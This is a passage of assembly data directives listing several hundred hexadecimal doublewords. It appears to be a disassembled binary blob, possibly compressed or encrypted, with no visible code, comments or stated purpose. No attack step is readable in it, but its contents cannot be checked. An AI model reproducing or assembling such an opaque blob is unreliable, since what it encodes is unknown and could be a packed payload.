		dd 8FF60F06h, 0DCE676Fh, 5C04C0DFh, 72B4D4FEh, 3913EA30h
		dd 10324Bh, 0FDF4F958h,	860624AFh, 49027970h, 64C28248h
		dd 0F7D78362h, 8CE7006Fh, 0BBCA34F3h, 87387CC6h, 1A35127Bh
		dd 0C609B716h, 500110EAh, 64710015h, 20C8827Dh,	0D3BC5C1h
		dd 0D9F880FAh, 8C5A9AEFh, 9D1EC7D1h, 0B221165Eh, 886EC707h
		dd 90508B58h, 0A8F90C05h, 0F5C912Bh, 8257D98Ah,	0A14A9262h
		dd 9BD264C1h, 3C118EB0h, 0FA92F38Eh, 500DF8D9h,	0FA8B212Ah
		dd 0BF288081h, 19232778h, 152BEA56h, 2C8D470h, 87573800h
		dd 7C49F405h, 0CB47001Eh, 78B3EDBBh, 49B281EAh,	0B900DC79h
		dd 793E3AD8h, 0EB7248h,	2E87E2A0h, 0CBA6F90Ah, 820776F6h
		dd 0D69E7A77h, 1ED0B480h, 9CA30066h, 0B7C7DEA7h, 20C072A6h
		dd 47A9EE8Dh, 0D3EC07D5h, 0F023B41Eh, 1409464Dh, 64554803h
		dd 8D9224h, 2AF5F450h, 0A3CD1F4Bh, 6405660h, 0C18CF630h
		dd 72CACF71h, 0AAD4DCF1h, 1BBDD3Eh, 0A3B69541h,	1B70C42Dh
		dd 9274AFh, 9388243Ch, 56A710A9h, 712DA40Fh, 48402795h
		dd 782CCD60h, 926818C2h, 0E57D8194h, 0E70B5300h, 76F3F67Fh
		dd 632600E6h, 86FA2DFCh, 9307503Fh, 0ABD71961h,	99858C1Eh
		dd 0AFF637A0h, 0FF5A80B0h, 42197B1Fh, 0DA218776h, 84D2C4h
		dd 0DD13D6E0h, 2BBBBDD1h, 9D0135E4h, 0AAD755FFh, 31808B0Dh
		dd 0C22D4904h, 2E00D9F5h, 5F9C8A6Dh, 19F655FCh,	28E90A7Ah
		dd 506AD58Dh, 33EBF7B4h, 1194A637h, 8E125440h, 0BBE2039Dh
		dd 1F13F468h, 77B0ADABh, 7A7E782Bh, 66AFDF00h, 0AA259454h
		dd 0E3C60002h, 774213B4h, 0B607BEB9h, 0B508076Eh, 813B8682h
		dd 0CAF6450Ch, 0BC0020BEh, 44A35331h, 723016B7h, 0A79F1986h
		dd 1DAF00B3h, 17883615h, 0CA00EB51h, 3761D8CDh,	7EA33F0h
		dd 0D735E1B2h, 5D4DE0BDh, 55004BCEh, 9EC20668h,	0C47D040h
		dd 0E215CF35h, 83301620h, 0FB960A2h, 549E50C8h,	0D479C08Dh
		dd 24D69812h, 22559900h, 0FD9A3DB9h, 39FF7ED3h,	1FB66EAh
		dd 7ADA6D78h, 80BD4148h, 1E3FE551h, 0C060408Ah,	7FCA4BE9h
		dd 4F756BA9h, 0B3067A71h, 0A6EF993Ch, 71C611F0h, 738D0093h
		dd 195737D1h, 18998B9h,	4787FE40h, 0EC8506CEh, 4C7D3B9Eh
		dd 9DB931C1h, 2BF0A645h, 0EDCC3CD8h, 8DF1403h, 81005215h
		dd 59F1C772h, 8482EBh, 56D92F62h, 770CB85Ch, 0E3DB500h
		dd 0B6C1ABEEh, 550F7F71h, 0A4018850h, 0BB006249h, 0E100B31Ah
		dd 59BC19Eh, 0C0A93741h, 0F8D03BC0h, 0D2184606h, 0F9E8DB27h
		dd 24C3500Fh, 9D190017h, 351833CBh, 25070DFh, 7CA06EC4h
		dd 99008AA3h, 7B418571h, 3F924C26h, 0C60639A6h,	29BF6F16h
		dd 362CF800h, 457F62A4h, 4B9B4842h, 0C6E6850Ah,	9D5007F4h
		dd 927074C1h, 0F400D808h, 0E15028Ah, 6D278976h,	6741B8A1h
		dd 59C080A5h, 8EDADCC3h, 98318C9h, 4615F04Eh, 30B1A0A9h
		dd 33D4DACh, 0E745077Eh, 4326D216h, 0CA50F21h, 61604710h
		dd 0DF4C96ECh, 0AFDBCE04h, 389290D5h, 0ABFC99BEh, 3B747F0h
		dd 31133EE1h, 8803A257h, 0CA0298Fh, 0B5800B5h, 1D95A66Dh
		dd 990071FFh, 652CE7CFh, 42AE84Fh, 77ABF0AFh, 174081FDh
		dd 8A81F038h, 45D5B61Ch, 69D833Eh, 0A08104Ch, 25C99E51h
		dd 0D23B00C4h, 45A3DABCh, 7023D0A8h, 7E00E97Bh,	3C37EFC1h
		dd 1FB31CBh, 8FCC5F07h,	0F90FA5FCh, 48318953h, 0E278103Fh
		dd 782D00C6h, 3C4F6E0Eh, 0B061CF31h, 4A4BE7D0h,	0C7354040h
		dd 88DC50C5h, 7EB8C274h, 0ECA1876Eh, 0EF40E2C3h, 11FB7CE3h
		dd 2EB25988h, 0D4CE5800h, 455323E3h, 318861C9h,	51443786h
		dd 8051A3C0h, 0D6F36A99h, 4224E10h, 0AAC9B4E2h,	4A4880A4h
		dd 7C60C031h, 88C2B698h, 0B31918F7h, 41B951D5h,	0F9C4CF18h
		dd 2A9E78A0h, 0FB0E7D8h, 1F06207Eh, 0AD7BC5E3h,	0FE3D5000h
		dd 0B72F5309h, 0CE8B000Fh, 3C28F6ACh, 0B00017F1h, 83B2CCC2h
		dd 7C1757Ch, 48FE2E09h,	9BACD35Ch, 0A43453F0h, 38009AE8h
		dd 1347F15Eh, 3C510A40h, 0FB0F436Bh, 3780067Dh,	0C2E302EBh
		dd 70000EE0h, 448F62Dh,	6F79CAh, 6AE79A3Fh, 0F5FD76CBh
		dd 332B4607h, 4E60DC9Bh, 1234C0Ah, 0B652A03Bh, 40A8E389h
		dd 0B9E7A380h, 1803BF7Ah, 2DC39EF1h, 9D8BE74h, 0A5639112h
		dd 0A446EC12h, 0F1F7D515h, 990A78E0h, 0BC48A2E6h, 631D7A80h
		dd 0FB37A8h, 964EDEBCh,	7776F50Ah, 39DFBB09h, 13CCA189h
		dd 30017E55h, 4C0462B6h, 19C44403h, 0CD0040B0h,	0A304D7Bh
		dd 78B09DC2h, 612530D1h, 71E76838h, 0DF31C160h,	0F05312h
		dd 365A2573h, 263BC99h,	0B89AE074h, 0A65F891Ah,	0B25801F9h
		dd 0D8D08BC6h, 0A450001Ah, 0F16A4F20h, 1C983B80h, 0B03D95A3h
		dd 45610621h, 24718FCBh, 80680A9Ch, 8D138EF9h, 7100A67Ah
		dd 6C0BAC22h, 0C13BD7h,	0EBB4AB56h, 233B5F7h, 40DDB32Ch
		dd 28E6508h, 7F0948A6h,	20C2AC66h, 0D625D7h, 52DAFCCEh
		dd 0F948760Ch, 30982869h, 90C147A3h, 0AE07608Ah, 146A229Dh
		dd 5A8FA480h, 832B06EDh, 0B1DA71E2h, 0E6E85D00h, 64736B5Fh
		dd 5614008Ch, 2F70622h,	0AC02669Eh, 0A00E4C83h,	7FC8A0B7h
		dd 0CED772h, 0C2F924AFh, 13D215FDh, 884BA930h, 8876DC0Fh
		dd 4E0A4916h, 90ADF445h, 449C046h, 741C9F02h, 939480E0h
		dd 2103F4C5h, 76204A2h,	1E482249h, 8214484Dh, 0C8C69D7h
		dd 0D220DB29h, 10A609B8h, 0C002935h, 3747864Eh,	0D5717860h
		dd 0C0B76DDFh, 0F7F7938h, 0BA481DC6h, 3D7A0174h, 4B4855FAh
		dd 75AF3450h, 20108126h, 7654B2F4h, 15890D48h, 835448DAh
		dd 517302h, 28FE9418h, 902A8D0Dh, 5D80A499h, 0CDBB863Ah
		dd 0B5500DAh, 0E3E53903h, 7B096566h, 92AC9AF7h,	5988409Ch
		dd 13CA8084h, 0D825FA30h, 4D41D7BDh, 970C448Fh,	64815F15h
		dd 1E05E570h, 394C117Eh, 1607C85Fh, 143ABA01h, 15D5C3Fh
		dd 78B3BC7Ah, 28876799h, 0A21A3BC4h, 0A0605DFCh, 16886088h
		dd 331E0542h, 82C9158Eh, 0A11047DCh, 0B1D2B5h, 0AE810DB2h
		dd 5D0037A2h, 0D0E41186h, 4C82C39Dh, 751010DDh,	7BCE0633h
		dd 62D01B9Ch, 7D6DD4E5h, 7019C841h, 9E00FA90h, 141A319Bh
		dd 90B71D39h, 226312D0h, 10DC4038h, 15C8FB89h, 4881F098h
		dd 0E447704Dh, 60D1C500h, 0C346E51Ah, 1B1E0019h, 0B806B5C2h
		dd 749A8B99h, 344C180Ah
		dd 88ACE405h, 80167460h, 75DA3AC0h, 9ADF1D00h, 4E69EAE8h
		dd 5106AC1Fh, 99D000BCh, 3C390541h, 0C350C1BAh,	35ABEF4Dh
		dd 9E09F994h, 7992B319h, 8175F008h, 0A39E4FCCh,	1AB9804Bh
		dd 3DFF0185h, 5FF400CFh, 0EBCE4205h, 40B1344Bh,	723BC603h
		dd 0F41158A4h, 61A1601h, 3446EF41h, 98B972C8h, 8D855F00h
		dd 208F1A2h, 545C89C5h,	0A6090F6h, 8614B14Ch, 86F02C3Bh
		dd 39BC72h, 0E3D64171h,	0A1C562DDh, 90FF8600h, 8FBCA715h
		dd 29D06F6Dh, 0D4443689h, 33F109F7h, 1E34B1A8h,	4009F135h
		dd 0C3343BCEh, 24B2EBBDh, 8EF23F01h, 0C80F7C63h, 4E040429h
		dd 87464D48h, 4F1C9048h, 16098644h, 2AE1587Ah, 0BD08E468h
		dd 0C3813E32h, 8C3A5AF4h, 0BF307009h, 0D2454C0Eh, 9F88B882h
		dd 5EF0A80Bh, 93CB0088h, 5729F1EEh, 0DD701113h,	0FC854600h
		dd 752B9C79h, 1FF91ED2h, 48439942h, 3414102Ah, 0E0FD269Dh
		dd 6461EE3h, 0B94AA34Fh, 1B0048F6h, 69662ECh, 0EE0CFC04h
		dd 3F4B26CAh, 0DFAD4028h, 6A828489h, 3CB4A410h,	44700825h
		dd 618F10B2h, 0E513BD60h, 41B53003h, 4A0279DFh,	0A3482048h
		dd 7B1487ACh, 3B7ED4Eh,	0DCB094F2h, 0E197980Bh,	0D52F02A2h
		dd 66514BD1h, 2E446050h, 33450E70h, 0AEA0E52Fh,	0F40AACA4h
		dd 0B8666D05h, 0CCC43BBFh, 9989986h, 9F0F413Ch,	0F785782Fh
		dd 0F2BC0B07h, 90427C13h, 76BAC404h, 7C0F5018h,	402F8988h
		dd 2D26D947h, 0B98F0450h, 0B4AA060Fh, 7689340h,	205E3ED8h
		dd 0BCF59BDAh, 717C02E8h, 1B80C0Eh, 4190FA80h, 0E8755B10h
		dd 0C340FC43h, 0A005AC87h, 1BD4C8D1h, 0BD359602h, 60DAF0D8h
		dd 29CE154h, 0D0BF16CEh, 0C068D511h, 716FBD4Bh,	0CD6B8780h
		dd 6041938Fh, 0C86F5A94h, 820E7442h, 0C133C984h, 0E5D3BDDCh
		dd 0DF5AD890h, 97893105h, 0CF435F89h, 254C3859h, 24BC0306h
		dd 6B96D777h, 9BB48129h, 46128C51h, 0D0649F31h,	195B1877h
		dd 99339845h, 152A08A4h, 0AC85B8C7h, 40793E3Fh,	33D20E34h
		dd 0E85895F7h, 89303E2Ch, 185A796Fh, 6A3B7E7Eh,	20582161h
		dd 99E888ACh, 0A83E7E16h, 5463CC18h, 313B8C59h,	0CD717B31h
		dd 84EF00B8h, 72DF86Eh,	437ABA38h, 0EC691F89h, 784A3500h
		dd 41C1015Bh, 0DE6D999Dh, 0BAA1AC51h, 36302422h, 92C1CE08h
		dd 76E8DD7Ch, 807A3C38h, 0B694D153h, 31BF2D78h,	0F4B9FDB0h
		dd 0BA4C40B3h, 0FCB22EA3h, 4B9C8E12h, 0F056D4C3h, 429210h
		dd 0B2A45C78h, 0E0B3EF06h, 61151C00h, 9BA2DD28h, 0BF1E0062h
		dd 95C09342h, 0D05849DAh, 0E3F90919h, 32DA0110h, 20D8AC64h
		dd 0E3C35C7Dh, 55F3E600h, 0B27BFB82h, 1EE51C01h, 0F469BD78h
		dd 0CC764082h, 100E2E4h, 16C0F32h, 997CEEBAh, 0D8F908DBh
		dd 46009C31h, 0F248A69Bh, 907872h, 8DFA8656h, 0F520CCA1h
		dd 0F3BE1000h, 0B46C0E48h, 0C88248EEh, 0FDAA0491h, 58E3F850h
		dd 5EE84Ch, 0C07D1DBAh,	0EEC102AAh, 9C295Ch, 8417B149h
		dd 0BD9E1Ch, 0CD58F927h, 0A8BFD1A1h, 47CB2218h,	0B2B040h
		dd 689DE82Fh, 38C3F914h, 0BC749C38h, 2AE500AFh,	290ADED3h
		dd 3DF70242h, 10BAF008h, 7B366600h, 0E452000Fh,	181F68EFh
		dd 9C0055A2h, 1BADA3DAh, 0A966E6h, 8EBD27B9h, 0EF0851E4h
		dd 0C222E900h, 57367F85h, 0ED520105h, 181AD5B9h, 763830A0h
		dd 0D0759491h, 7600F389h, 1DC0750Ah, 68C3AEh, 56A1F8EDh
		dd 0AF4C9D9Ch, 72C24800h, 0BE95A29Eh, 74E7071Fh, 30F523C7h
		dd 374F47E3h, 1273A900h, 27FB3C3h, 1AEE00F3h, 0D6524EABh
		dd 0EB03BD01h, 84C9C80Fh, 0CDDBF859h, 23A71E27h, 84906E4h
		dd 0E90040AEh, 0F8EBDEB3h, 3AC51AABh, 18E398A2h, 31B89A25h
		dd 0F639FCF9h, 0F4E405DBh, 0B0A0CDC4h, 1F73006Bh, 0EBDD96EFh
		dd 142CABE6h, 7ED58C5Eh, 0D9CBC100h, 0B0FE3242h, 0EC200E05h
		dd 0F680ACC3h, 0B19C145Fh, 0B94920h, 30A76742h,	8ACF4D87h
		dd 0F71FD590h, 73408810h, 0E908F237h, 0B89C00C2h, 2E9FEDF0h
		dd 1000D5DDh, 25E476B1h, 0FEB996h, 156C59B6h, 21A3EF1Ah
		dd 4C4ECE07h, 1BD0A70Fh, 0E9689FFCh, 2960F8h, 0E044AF9Ch
		dd 9425F311h, 0BD95A600h, 204BF2FCh, 0EE200F0h,	107221CEh
		dd 0E900735Dh, 59DB97E7h, 0B54A1F1h, 0D311519Fh, 4F18AC04h
		dd 0D8CD4790h, 88243925h, 0C0FE046Fh, 388902C7h, 8B1A00A1h
		dd 0E5066BC5h, 0B6296A69h, 5634A7h, 0A957192h, 3B6ACDD7h
		dd 6B02C372h, 0A9D9BA56h, 9C1CB83Ah, 106A611Eh,	6C0DAFD3h
		dd 0DF7B00D0h, 444F3741h, 36C102B7h, 53EF31B8h,	0CC222CF2h
		dd 437904AAh, 0B87583F4h, 0ABE0334h, 2FCBC948h,	0B820B138h
		dd 9984D741h, 785D4B01h, 0F7EEC34Dh, 814A1C4Ch,	7A86DCEh
		dd 95BB63CAh, 6ABFC130h, 0F48B61Bh, 5998A185h, 380114DEh
		dd 0B2EA35CFh, 14783DBDh, 7C44405Fh, 0D51437ECh, 65168701h
		dd 523845B1h, 8F844891h, 35168111h, 70CB312h, 0E97B88h
		dd 7F279A37h, 9B41403Ah, 9047DB2Ah, 0EBBE1F05h,	0AC40BD6Eh
		dd 0DD99C5D9h, 7A720B3Fh, 0A8613453h, 0F421808Eh, 31CA99CDh
		dd 0FD5C0063h, 15BA2448h, 9405278Ah, 684983D3h,	0A458C4Fh
		dd 9C8CA41Fh, 0A9910Fh,	4787B26Ch, 296F62C9h, 1CAC8B01h
		dd 9F3C79DAh, 3901947Dh, 0C3E64C45h, 91B841C8h,	32C5280h
		dd 6C278620h, 99260A16h, 84FC4BA3h, 0BDA863C5h,	4A831054h
		dd 175FDB00h, 0C8AC9D32h, 68591630h, 1ECF168h, 0C7068E80h
		dd 58EFBE1Eh, 9908D188h, 0C4924019h, 0D90840E2h, 2D5699h
		dd 0D49A60E5h, 80B1F0B9h, 0B0C1A57Bh, 0D070DF41h, 5BF8032Ah
		dd 18007DF9h, 4A13F48Eh, 687688Dh, 0CFC6B3A7h, 12203099h
		dd 0B8ED09C5h, 0A8D2BED9h, 0FB23D700h, 0DA64D216h, 0BF65F5Ah
		dd 0ACC0DB28h, 0FB001892h, 0CC33DE70h, 6E29848h, 5BCFDD61h
		dd 236391EDh, 0BFDE53F2h, 0F8850D03h, 0BA3C83h,	0DF9DF67Ah
		dd 351B47E3h, 8490D74Fh, 6C395B78h, 0EB3E40B6h,	9A3BD907h
		dd 6FC23C4Ah, 0C7B0809Ch, 0A0727CC5h, 209992BCh, 0C63FA417h
		dd 0F4680086h, 4E0F9B1Ch, 0C4511FCCh, 15AF00EEh, 8E042587h
		dd 0B6ECB306h, 3C70742Bh, 0B824AA0Ah, 0A0E20878h, 24381760h
		dd 22224635h, 0EFC90F11h, 0B6004D37h, 0AF258069h, 0B8CB3C03h
		dd 231806C4h, 1501E050h, 32351A38h, 908B1818h, 0E937EDh
		dd 7DFA1155h, 0C002819Ch, 43DEF715h, 0B0404FECh, 0D4AE95F6h
		dd 0AB1F06E5h, 208D45D7h, 0E8A12125h, 0F23214h,	36A4A5A8h
		dd 7563670Ch, 0ACFB280Eh, 424F806Fh, 0A652516h,	244BECCEh
		dd 0CF190F94h, 0EFACF100h, 2048EB6Bh, 1E923DCh,	401B99C3h
		dd 805423C2h, 6599CB0Ah, 58D303E8h, 0C02E943Fh,	0B5FD5BD0h
		dd 0F4CF3580h, 8AF780C5h, 25983F4Ch, 0B4EC40DCh, 0A3C2220Fh
		dd 9F0F402h, 2A92D248h,	0FE6906C4h, 340311B8h, 398A96FCh
		dd 54483D63h, 0ABE888CAh, 5BD449C2h, 6545421h, 194FA39Eh
		dd 92430D00h, 0FD424B19h, 0BED07D3Fh, 27C010E4h, 0E658C448h
		dd 0D75930C7h, 91061618h, 0F8AF2F26h, 0A4D2EC42h, 0CE41473Ch
		dd 15F2913h, 5C50CD38h,	60D33924h, 0D01640A0h, 5960F163h
		dd 0A5DF3328h, 168C0E3h, 74F63B41h, 0B2581200h,	25E4BCDh
		dd 0D5C20C0Ah, 11912DC7h, 0F2BFB900h, 0E9715C72h, 60909510h
		dd 93EA3ECBh, 0F0D55E00h, 52DB5805h, 73F204DDh,	0E8BD2046h
		dd 0EE768F70h, 0BF389835h, 0C1A930D0h, 65B51019h, 6C043499h
		dd 1CD24A5Eh, 0FBCF30CDh
		dd 0C4D21211h, 0F0E3A29Dh, 6503E0FBh, 0D8D4CD9Dh, 36DC30Fh
		dd 37DB4E1Ah, 4CB8121Fh, 0A501AF82h, 0DF352217h, 8882B915h
		dd 0DC7AAEF1h, 5E79D460h, 2A45BD80h, 8AC76D2h, 0A98B9912h
		dd 0CB8AC31Fh, 1401CCE1h, 0DDC5AF33h, 0F04648A5h, 60A3C93Dh
		dd 2B6993C1h, 8D940155h, 2E018608h, 785EEE91h, 2952BE0Ch
		dd 9E310535h, 0A848CB94h, 0B5820284h, 603BF7FBh, 4EDFC3Ch
		dd 0CFABD5E9h, 1CADC6h,	7397CF1h, 98B8CC4Dh, 4D67F854h
		dd 10600435h, 0DBC6E8ADh, 36595C03h, 59B9F30Ah,	240B34A8h
		dd 28101B77h, 190056BEh, 0C2C3D07Eh, 0CCDBBADCh, 20215769h
		dd 0FD7DE100h, 0DE8F9C38h, 6B6100EBh, 5877C78Dh, 0E8A57F29h
		dd 0DD60AE02h, 20D44479h, 78312D91h, 0E07D1044h, 0DC481862h
		dd 127DD11h, 34DB6844h,	88207D6Eh, 5F05FD7Ch, 1740BAE8h
		dd 0AA4DB100h, 3AE642A4h, 120AEEFAh, 631F5463h,	0E8E0F67Ch
		dd 8513BCE6h, 7C4ED715h, 9EA20045h, 623F55C1h, 0B39C60D6h
		dd 7ADDB068h, 27BF1C00h, 732808C0h, 17C700A0h, 912CF4CEh
		dd 397072Bh, 0F416F078h, 7DBEC88h, 2CF69720h, 5037D0D1h
		dd 180B293Ch, 9DA324C4h, 8791115Ch, 6770AE62h, 25413C8Ch
		dd 0CE0507Fh, 0BE6C1C21h, 430658B8h, 99C6026Fh,	317A3FDEh
		dd 0CEF910E0h, 0D2BC0099h, 0F6C80B40h, 830E5C14h, 0F3FE681h
		dd 0B1ED216Ah, 13B8558h, 0ADCFD5B0h, 30B43424h,	3BD2A0A0h
		dd 72E40597h, 0BD016C6Ah, 2510A757h, 0F65BF08Bh, 4876450Eh
		dd 49D0979h, 0DD60C750h, 0C323C47Dh, 5111E2h, 0B58A851Ch
		dd 0BFFBB0h, 6EAE5004h,	8963F80Fh, 68D1415Ah, 5440F745h
		dd 0B93FF86h, 7AED83D3h, 850CD499h, 0CB313C21h,	7C2408D1h
		dd 80ECE891h, 3FDC99C4h, 0F70087CAh, 1DA099CCh,	0B22C0020h
		dd 4E47FB34h, 0F04C715Bh, 141F0FA0h, 0A9D90B7Ch, 11F49D54h
		dd 4F2F8011h, 1D7E9C2h,	978A99A1h, 40CB45DFh, 901B3954h
		dd 0D8626D2Ah, 8FC46485h, 5B6E1B60h, 0D95FA80Eh, 6B02AF17h
		dd 7EB40104h, 126B8B89h, 0F1B0E4FCh, 0BCA93801h, 524BD201h
		dd 93E3464h, 9E08DF9Ch,	0AD867480h, 0A31FFD40h,	0C80014D5h
		dd 0B620CECCh, 24ED5CA2h, 0BF7D3003h, 2050CF4Ch, 6329C4C0h
		dd 3D19404h, 0C4002818h, 6EA78640h, 0B59F972Bh,	54870C20h
		dd 7579D7C2h, 0E019032Eh, 64674h, 0DAE9CCA9h, 59D73398h
		dd 0ED16A8E5h, 411804CBh, 4BCA01DEh, 884301FAh,	0CB89E1ADh
		dd 0C9871883h, 0C7A216CCh, 0D0DDFC60h, 10B5E0E8h, 3BAD8A48h
		dd 3F44CA45h, 0DF13EB1Dh, 0CC7ABA05h, 52554CC2h, 0C50220E0h
		dd 0EE3EC700h, 0B6B016EDh, 174C7C6Dh, 9D1C69Dh,	904865A4h
		dd 58B8954Ah, 272E2D21h, 639E90C8h, 0E0B43A13h,	9DB83800h
		dd 61CCBDC7h, 36861065h, 0FC545Ah, 415715E8h, 0D256D37h
		dd 0C9B010CAh, 3C6C5CBFh, 170A1C10h, 30104413h,	71BF3108h
		dd 51975D16h, 13E7034Eh, 0CC0E45FEh, 8276FA40h,	84CEDD31h
		dd 1860E1D4h, 35252338h, 4C8C160Ah, 0F63BCBC8h,	0E471E893h
		dd 8A004140h, 2B874F1Fh, 7B62587Bh, 141C00C4h, 6A421EADh
		dd 6F4A055Bh, 35FF1C41h, 9DDC5603h, 0E6E00373h,	1560C13Ch
		dd 0D7D24BC0h, 0B8C0D48h, 0A3CF898Bh, 0B9420720h, 0D9B82B34h
		dd 0E68014DCh, 0C1EC094Fh, 0BC814E00h, 149D18E0h, 6DDC02EFh
		dd 0CE7AE57Bh, 5F3AB4E8h, 2827A324h, 22CC908h, 62BD7B78h
		dd 9DD7F8E8h, 48CCD840h, 0B458A363h, 1930C7E2h,	0D21411FBh
		dd 219F8C34h, 0FBCE0090h, 7B432FC7h, 39FCCC0h, 0EDB8EC24h
		dd 0FBD02420h, 0FCD123EDh, 0B700A211h, 7CC0FBC9h, 9A2ECCAFh
		dd 0DF0458E6h, 38908F31h, 60A61F76h, 90053149h,	3701B791h
		dd 0CCA2C1CAh, 12F02517h, 0A13D042Bh, 0F8C4653Bh, 8C08CA88h
		dd 8E2D08h, 0B7F5E4EFh,	209FA022h, 0D5FFA9F0h, 96630013h
		dd 0E23A5199h, 0CE009F8Eh, 0AC6D467h, 1BF83D2h,	48B34A3Dh
		dd 609CC25Eh, 6E43F0B0h, 1899D002h, 0DB316A40h,	99D80B10h
		dd 70D09717h, 46513409h, 3C482E80h, 9D84818h, 0C912729h
		dd 0C162C014h, 402ACD71h, 8CB9B415h, 86B9A070h,	0E77F2807h
		dd 5B0040A1h, 2EC5C32Fh, 7C18AE07h, 6301D846h, 0CB6C33F6h
		dd 55B441A2h, 4F1008Ch,	59C37645h, 0BB0108E7h, 3D4859FDh
		dd 0AFB31022h, 0D2DB5E0Dh, 0A8DCBD8Ch, 22395C0h, 0D1D60031h
		dd 38280508h, 221D7B47h, 1909CC4Eh, 9F549046h, 7D24031Ch
		dd 0DB77103Ch, 5470399Ah, 0D4EDD8CAh, 17999FC0h, 85624340h
		dd 54C0C7FEh, 27C1800Ah, 1C015755h, 241F314Ah, 4871B6DCh
		dd 3B961C9h, 3026BD58h,	0EA4963C9h, 9D627F91h, 58B8D930h
		dd 81C875DCh, 0F29422EDh, 0B8B309Fh, 94272302h,	697183CDh
		dd 0DC299EECh, 9100F5B8h, 0D6AA2F8Eh, 1F8D8C42h, 7D63D1C4h
		dd 2A04805Ah, 0B0F825h,	5CA19094h, 86B8DB70h, 72541A00h
		dd 4BBA7CE6h, 3E51076Dh, 648A3417h, 82F0D166h, 0E3C9D822h
		dd 705FF72Ch, 0C57BCE41h, 3B3E506Ch, 83602AACh,	0AD898652h
		dd 0CE802940h, 7E18048Ch, 62FAC39Fh, 0E41D2053h, 5AF8967Dh
		dd 3494EF70h, 0AA5FEC00h, 2FCF331Ch, 0ACE828C9h, 25815EC5h
		dd 0F004E06Dh, 0E02D5BCFh, 367BC4A8h, 0D8F0A150h, 47F4F48Ah
		dd 32846008h, 0BC1FF48Ch, 780064C1h, 2366EA05h,	15A618BDh
		dd 69365945h, 383E170Fh, 9C503946h, 0EDCD00F2h,	413EC4C8h
		dd 37C213FFh, 13F0F8F1h, 886068A1h, 0CF274F24h,	90112535h
		dd 0DD5BD4DCh, 0C6284960h, 0A0D06C36h, 80E889A8h, 3A228677h
		dd 90A35B65h, 164F8560h, 8F276D71h, 0DB64109Eh,	79B300ADh
		dd 0E54B8CC7h, 6CB17E3Ch, 5008EA93h, 0FB22C0D8h, 6C46D217h
		dd 91009D22h, 5D37FB1Bh, 2C593D0h, 0C7353E58h, 0DC689215h
		dd 29FA635Fh, 2C408A2Eh, 0C82084C2h, 2F197384h,	5017C7F6h
		dd 9B811891h, 2A6ED1C0h, 4AE7C490h, 9E1D03F8h, 114BE105h
		dd 258E02C0h, 10088D4Eh, 65CF13D3h, 0F174A2E4h,	2B0CB99Ch
		dd 3E740B00h, 8681CFCEh, 0DDE2CB61h, 0A40C0CD2h, 18B74D30h
		dd 30D54197h, 0F52C9978h, 7A0A087Ch, 81AFC72h, 0EDEC1191h
		dd 0A3C8C44Bh, 64857C1h, 680E547Dh, 4E8998C1h, 60C9B404h
		dd 10C67DDFh, 0C8DD92C3h, 8776802Ah, 0D03BCC8Ah, 53715B12h
		dd 0DEF74001h, 386CD605h, 0C4F48BD3h, 5830B9A2h, 0B4609F59h
		dd 0AB3B57A9h, 6F421E1Dh, 0BD04022Eh, 0F4C4A116h, 83115738h
		dd 0F12C215Ah, 340DB893h, 0C8A83D1Fh, 0AC540E00h, 45CC101Ah
		dd 0A440CA5Ah, 7C3EC422h, 20080B90h, 4A14DCDh, 0EC60B236h
		dd 23BD3286h, 0F49A33Ch, 0BAFF71A1h, 7B0F59A0h,	75773CA1h
		dd 1FAA7700h, 70224ABFh, 82CB003h, 0A4A399B6h, 7F202C28h
		dd 0B29C30BBh, 8C7286D9h, 565FAA00h, 11BFEEF0h,	3AB04E73h
		dd 1D2F2388h, 89720C33h, 0D80086E1h, 18FB9C48h,	109B31Dh
		dd 5EBD4B2Fh, 0F684F66Bh, 7DBB38F4h, 6FD1CB01h,	8BA247E0h
		dd 387306C8h, 4E009F0Eh, 1575E58Ah, 535ED0CEh, 23ECC410h
		dd 0FB8F3FCCh, 3876D213h, 0C704B518h, 8FC8FFFBh, 0F32C5F80h
		dd 4CFE8E6h, 51DF3348h,	1564A427h, 0AB37C40h, 0D13D4BF6h
		dd 497A598h, 9890A91h, 1024A041h, 9C7F795Bh, 74676C0h
		dd 2BEF8502h, 20D2A017h, 0E6C67F00h, 10935E29h,	0C8400C4h
		dd 1C1337DFh, 950517D5h, 0DBB7D19Dh, 38696CA1h,	2DD95801h
		dd 796E0A2Ch, 0C44A2200h, 367A5A8h, 9EF1DFD5h, 83F404C0h
		dd 0F40A2D99h, 418A9260h
		dd 0F0D29C1Ch, 0DCC12044h, 4405F118h, 42DEA468h, 1FBA226Bh
		dd 17313D3Eh, 0E08033B1h, 0E42FD95Fh, 0EF000523h, 4862466Bh
		dd 34070D4h, 21B55CBEh,	0E81708A8h, 3F02F439h, 0AE305583h
		dd 240ED164h, 472AD791h, 9BC50699h, 0CA31380Bh,	0C9C207Eh
		dd 0FF827187h, 4AF4E0B0h, 0DA4C3CC8h, 0F95F00C7h, 2BD9804h
		dd 4BFA1725h, 0BBA8460Dh, 0E60B3876h, 0C06F5A60h, 91AD86BCh
		dd 182DD1B8h, 8EFF0048h, 4F80FF0h, 0FB354114h, 5C8EB8DFh
		dd 8EC12D88h, 0C6FECF6Eh, 205A00F8h, 9BB4B375h,	54004E0Ch
		dd 0ADDF7E9Fh, 5035E7A9h, 7646F05Bh, 2E1F4F49h,	0E023F4h
		dd 0DE325127h, 0FC003D94h, 240CF39Dh, 97D69ADh,	0BDB9C3A0h
		dd 311041Dh, 0FDC73FC0h, 54002D34h, 4802B208h, 4A3924A6h
		dd 4DF0D0BBh, 88B2AF03h, 1B9C410Ah, 1A91A048h, 0C37DDC83h
		dd 0CBDDB48Fh, 88190180h, 4BCF058Ah, 3D8C882Ah,	85E98439h
		dd 0B7D22BD4h, 2E067880h, 0D8C260FCh, 8901AF35h, 103BAC91h
		dd 91880656h, 0EF99CA83h, 64B050D6h, 1CB2496Ch,	815F891Ah
		dd 3E245470h, 390B6C3Ah, 4430E449h, 7F8DCF4h, 0A5A3F9C4h
		dd 208384A4h, 33087B05h, 0C203DCFh, 0B939CB10h,	224918C4h
		dd 453B4F28h, 9C11E3C8h, 0CCF90309h, 0E02A1889h, 313EA0AFh
		dd 78D4D45Bh, 783D1EF0h, 0D8E20520h, 0E2DFD02Dh, 0B7DE10B8h
		dd 9EE83058h, 0E6EA008Ch, 2F126B2Ah, 0BA02232Bh, 0D641060Ah
		dd 50025D8Ah, 0E070175Ah, 0E739BC12h, 75CD64A1h, 1670E889h
		dd 0E0E4C0C5h, 0B245B360h, 0B4C9CC07h, 0CDD283FAh, 0A1CC809Eh
		dd 0B16ED506h, 0D61F8Ch, 610267C8h, 35001F7Dh, 0EE06DDCCh
